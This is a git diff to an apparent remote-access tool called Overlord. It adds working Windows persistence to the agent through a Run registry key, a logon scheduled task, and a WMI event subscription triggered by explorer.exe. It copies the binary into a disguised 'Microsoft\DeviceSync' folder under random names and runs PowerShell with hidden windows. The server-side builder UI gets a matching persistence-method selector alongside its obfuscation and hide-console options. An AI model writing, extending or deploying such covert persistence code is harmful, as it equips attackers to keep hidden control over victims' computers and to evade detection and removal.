diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index aa5d5cf..6c099ee 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -17,7 +17,7 @@ import ( "time" ) -var AgentVersion = "1.3.4" +var AgentVersion = "1.3.5" var DefaultPersistence = "false" var DefaultServerURL = "wss://127.0.0.1:5173" diff --git a/Overlord-Client/cmd/agent/persistence/persistence.go b/Overlord-Client/cmd/agent/persistence/persistence.go index af1819d..d8a1d1d 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence.go +++ b/Overlord-Client/cmd/agent/persistence/persistence.go @@ -5,6 +5,8 @@ import ( "path/filepath" ) +var DefaultPersistenceMethod = "startup" + func Setup() error { exePath, err := os.Executable() if err != nil { diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go index 50044d4..21eded5 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go @@ -5,42 +5,86 @@ package persistence import ( "crypto/rand" + "crypto/sha256" "encoding/hex" "fmt" "io" "os" + "os/exec" "path/filepath" "strings" + "syscall" "golang.org/x/sys/windows/registry" ) -const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` -const startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup` -const startupExecutablePrefix = "ovd_" +const ( + registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` -const legacyRegistryValueName = "OverlordAgent" -const registryValuePrefix = "OverlordAgent-" + startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup` + + appDataBinaryDir = `Microsoft\DeviceSync` + + startupExecutablePrefix = "ovd_" + taskNamePrefix = "ovd_" + + legacyRegistryValueName = "OverlordAgent" + registryValuePrefix = "OverlordAgent-" + + createNoWindow = 0x08000000 +) + +func activeMethod() string { + m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod)) + switch m { + case "registry", "taskscheduler", "wmi": + return m + default: + return "startup" + } +} func getTargetPath() (string, error) { + switch activeMethod() { + case "registry", "taskscheduler", "wmi": + return getAppDataTargetPath() + default: + return getStartupFolderTargetPath() + } +} + +func getStartupFolderTargetPath() (string, error) { appDataDir := os.Getenv("APPDATA") if appDataDir == "" { return "", fmt.Errorf("APPDATA environment variable not set") } - startupDir := filepath.Join(appDataDir, startupFolderRelative) - if existing, ok := findExistingStartupExecutable(startupDir); ok { + if existing, ok := findExistingBinaryInDir(startupDir); ok { return existing, nil } - - name, err := generateStartupExecutableName() + name, err := generateBinaryName() if err != nil { return "", err } - return filepath.Join(startupDir, name), nil } +func getAppDataTargetPath() (string, error) { + appDataDir := os.Getenv("APPDATA") + if appDataDir == "" { + return "", fmt.Errorf("APPDATA environment variable not set") + } + dir := filepath.Join(appDataDir, appDataBinaryDir) + if existing, ok := findExistingBinaryInDir(dir); ok { + return existing, nil + } + name, err := generateBinaryName() + if err != nil { + return "", err + } + return filepath.Join(dir, name), nil +} + func getLegacyTargetPath() (string, bool) { appDataDir := os.Getenv("APPDATA") if appDataDir == "" { @@ -49,57 +93,161 @@ func getLegacyTargetPath() (string, bool) { return filepath.Join(appDataDir, "Overlord", "agent.exe"), true } -func findExistingStartupExecutable(startupDir string) (string, bool) { - entries, err := os.ReadDir(startupDir) +func findExistingBinaryInDir(dir string) (string, bool) { + entries, err := os.ReadDir(dir) if err != nil { return "", false } - for _, entry := range entries { if entry.IsDir() { continue } name := strings.ToLower(entry.Name()) - if !strings.HasSuffix(name, ".exe") { - continue - } - if strings.HasPrefix(name, startupExecutablePrefix) { - return filepath.Join(startupDir, entry.Name()), true + if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, startupExecutablePrefix) { + return filepath.Join(dir, entry.Name()), true } } - return "", false } -func generateStartupExecutableName() (string, error) { +func findExistingStartupExecutable(startupDir string) (string, bool) { + return findExistingBinaryInDir(startupDir) +} + +func generateBinaryName() (string, error) { b := make([]byte, 6) if _, err := rand.Read(b); err != nil { - return "", fmt.Errorf("failed to generate startup executable name: %w", err) + return "", fmt.Errorf("failed to generate executable name: %w", err) } return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil } -func install(exePath string) error { +func generateStartupExecutableName() (string, error) { + return generateBinaryName() +} +func deriveTaskName(targetPath string) string { + h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath)))) + return taskNamePrefix + hex.EncodeToString(h[:4]) +} + +func deriveWMINames(targetPath string) (filterName, consumerName string) { + h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath)))) + suffix := hex.EncodeToString(h[:4]) + return taskNamePrefix + "f" + suffix, taskNamePrefix + "c" + suffix +} + +func runPowerShell(script string) error { + cmd := exec.Command("powershell.exe", + "-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden", + "-Command", script) + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: createNoWindow, + } + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("powershell: %w: %s", err, strings.TrimSpace(string(out))) + } + return nil +} + +func installStartupFolder(_ string) error { + return nil +} + +func installRegistry(targetPath string) error { + k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, + registry.QUERY_VALUE|registry.SET_VALUE) + if err != nil { + return fmt.Errorf("failed to open HKCU Run key: %w", err) + } + defer k.Close() + + names, _ := k.ReadValueNames(0) + for _, name := range names { + if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) { + return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath)) + } + } + + b := make([]byte, 4) + if _, err := rand.Read(b); err != nil { + return fmt.Errorf("failed to generate registry value name: %w", err) + } + valueName := registryValuePrefix + hex.EncodeToString(b) + return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath)) +} + +func installTaskScheduler(targetPath string) error { + taskName := deriveTaskName(targetPath) + safe := strings.ReplaceAll(targetPath, "'", "''") + // Notes on PowerShell parameter syntax used here: + // -ExecutionTimeLimit: expects a TimeSpan; ([TimeSpan]::Zero) disables the limit. + // -StartWhenAvailable: SwitchParameter — must be bare or use colon syntax (:$true); + // writing "-StartWhenAvailable $true" (with space) makes $true a positional arg, which errors. + script := fmt.Sprintf( + `$a = New-ScheduledTaskAction -Execute '%s'; `+ + `$t = New-ScheduledTaskTrigger -AtLogOn; `+ + `$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+ + `Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`, + safe, taskName) + return runPowerShell(script) +} + +func installWMI(targetPath string) error { + filterName, consumerName := deriveWMINames(targetPath) + safe := strings.ReplaceAll(targetPath, "'", "''") + script := fmt.Sprintf( + `$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+ + `$f.QueryLanguage = 'WQL'; `+ + `$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+ + `WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+ + `$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+ + `$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+ + `$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+ + `$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+ + `$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+ + `$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+ + `$null = $b.Put()`, + filterName, consumerName, safe, filterName, consumerName) + return runPowerShell(script) +} + +func install(exePath string) error { targetPath, err := getTargetPath() if err != nil { return err } - startupDir := filepath.Dir(targetPath) - err = os.MkdirAll(startupDir, 0755) - if err != nil { - return fmt.Errorf("failed to create startup directory: %w", err) + dir := filepath.Dir(targetPath) + if err := os.MkdirAll(dir, 0755); err != nil { + return fmt.Errorf("failed to create directory: %w", err) } if err := replaceExecutable(exePath, targetPath); err != nil { return err } - if err := cleanupLegacyRunValues(); err != nil { - return fmt.Errorf("failed to clean legacy startup registry values: %w", err) + switch activeMethod() { + case "registry": + if err := installRegistry(targetPath); err != nil { + return fmt.Errorf("failed to install registry persistence: %w", err) + } + case "taskscheduler": + if err := installTaskScheduler(targetPath); err != nil { + return fmt.Errorf("failed to install task scheduler persistence: %w", err) + } + case "wmi": + if err := installWMI(targetPath); err != nil { + return fmt.Errorf("failed to install WMI persistence: %w", err) + } } + // Best-effort cleanup of legacy registry entries from older versions. + // Don't fail persistence setup if cleanup is denied due to insufficient permissions. + _ = cleanupLegacyRunValues() + return nil } @@ -139,7 +287,6 @@ func replaceExecutable(exePath, targetPath string) error { } return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err) } - return nil } @@ -155,36 +302,43 @@ func configure(exePath string) error { } } - if err := cleanupLegacyRunValues(); err != nil { - return fmt.Errorf("failed to clean legacy startup registry values: %w", err) + switch activeMethod() { + case "registry": + if err := installRegistry(targetPath); err != nil { + return fmt.Errorf("failed to reconfigure registry persistence: %w", err) + } + case "taskscheduler": + if err := installTaskScheduler(targetPath); err != nil { + return fmt.Errorf("failed to reconfigure task scheduler persistence: %w", err) + } + case "wmi": + if err := installWMI(targetPath); err != nil { + return fmt.Errorf("failed to reconfigure WMI persistence: %w", err) + } + default: + // Best-effort cleanup of legacy registry entries from older versions. + // Don't fail persistence setup if cleanup is denied due to insufficient permissions. + _ = cleanupLegacyRunValues() } return nil } func uninstall() error { - if err := cleanupLegacyRunValues(); err != nil { - return fmt.Errorf("failed to clean startup registry values: %w", err) - } + _ = cleanupLegacyRunValues() + + _ = uninstallTaskScheduler() + + _ = uninstallWMI() appDataDir := os.Getenv("APPDATA") if appDataDir == "" { return nil } - startupDir := filepath.Join(appDataDir, startupFolderRelative) - if err := cleanupPrefixedExecutables(startupDir); err != nil { - return err - } - - if err := cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord")); err != nil { - return err - } - - targetPath, err := getTargetPath() - if err == nil { - _ = os.Remove(targetPath) - } + _ = cleanupPrefixedExecutables(filepath.Join(appDataDir, startupFolderRelative)) + _ = cleanupPrefixedExecutables(filepath.Join(appDataDir, appDataBinaryDir)) + _ = cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord")) if legacyPath, ok := getLegacyTargetPath(); ok { _ = os.Remove(legacyPath) @@ -193,6 +347,26 @@ func uninstall() error { return nil } +func uninstallTaskScheduler() error { + return runPowerShell( + `Get-ScheduledTask -ErrorAction SilentlyContinue | ` + + `Where-Object { $_.TaskName -like 'ovd_*' } | ` + + `Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`) +} + +func uninstallWMI() error { + return runPowerShell( + `Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` + + `-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` + + `Remove-WmiObject -ErrorAction SilentlyContinue; ` + + `Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` + + `-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` + + `Remove-WmiObject -ErrorAction SilentlyContinue; ` + + `Get-WmiObject -Namespace root\subscription -Class __EventFilter ` + + `-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` + + `Remove-WmiObject -ErrorAction SilentlyContinue`) +} + func cleanupPrefixedExecutables(dir string) error { entries, err := os.ReadDir(dir) if err != nil { @@ -218,7 +392,8 @@ func cleanupPrefixedExecutables(dir string) error { } func cleanupLegacyRunValues() error { - k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE) + k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, + registry.QUERY_VALUE|registry.SET_VALUE) if err != nil { if err == registry.ErrNotExist { return nil @@ -226,7 +401,6 @@ func cleanupLegacyRunValues() error { return fmt.Errorf("failed to open registry key: %w", err) } defer k.Close() - return cleanupOverlordRunValues(k) } @@ -235,7 +409,6 @@ func cleanupOverlordRunValues(k registry.Key) error { if err != nil { return err } - for _, name := range names { if isOverlordRunValueName(name) { if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist { @@ -243,7 +416,6 @@ func cleanupOverlordRunValues(k registry.Key) error { } } } - return nil } diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index b46407d..0927ecc 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -1,6 +1,6 @@ { "name": "overlord-server", - "version": "1.3.4", + "version": "1.3.5", "private": true, "type": "module", "scripts": { diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 70d1759..372cf41 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -75,6 +75,18 @@ if (rawServerListCheckbox && serverUrlInput) { }); } +const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]'); +const persistenceMethodContainer = document.getElementById("persistence-method-container"); +if (persistenceCheckbox && persistenceMethodContainer) { + persistenceCheckbox.addEventListener("change", () => { + if (persistenceCheckbox.checked) { + persistenceMethodContainer.classList.remove("hidden"); + } else { + persistenceMethodContainer.classList.add("hidden"); + } + }); +} + async function init() { try { updateServerUrlPlaceholder(); @@ -191,6 +203,7 @@ form?.addEventListener("submit", async (e) => { const enablePersistence = form.querySelector( 'input[name="enable-persistence"]', ).checked; + const persistenceMethod = form.querySelector('#persistence-method')?.value || 'startup'; const hideConsole = form.querySelector( 'input[name="hide-console"]', ).checked; @@ -208,6 +221,7 @@ form?.addEventListener("submit", async (e) => { disableCgo, obfuscate, enablePersistence, + persistenceMethod: enablePersistence ? persistenceMethod : undefined, hideConsole, noPrinting, }; diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 5b66824..fa69c49 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -322,6 +322,30 @@ > + +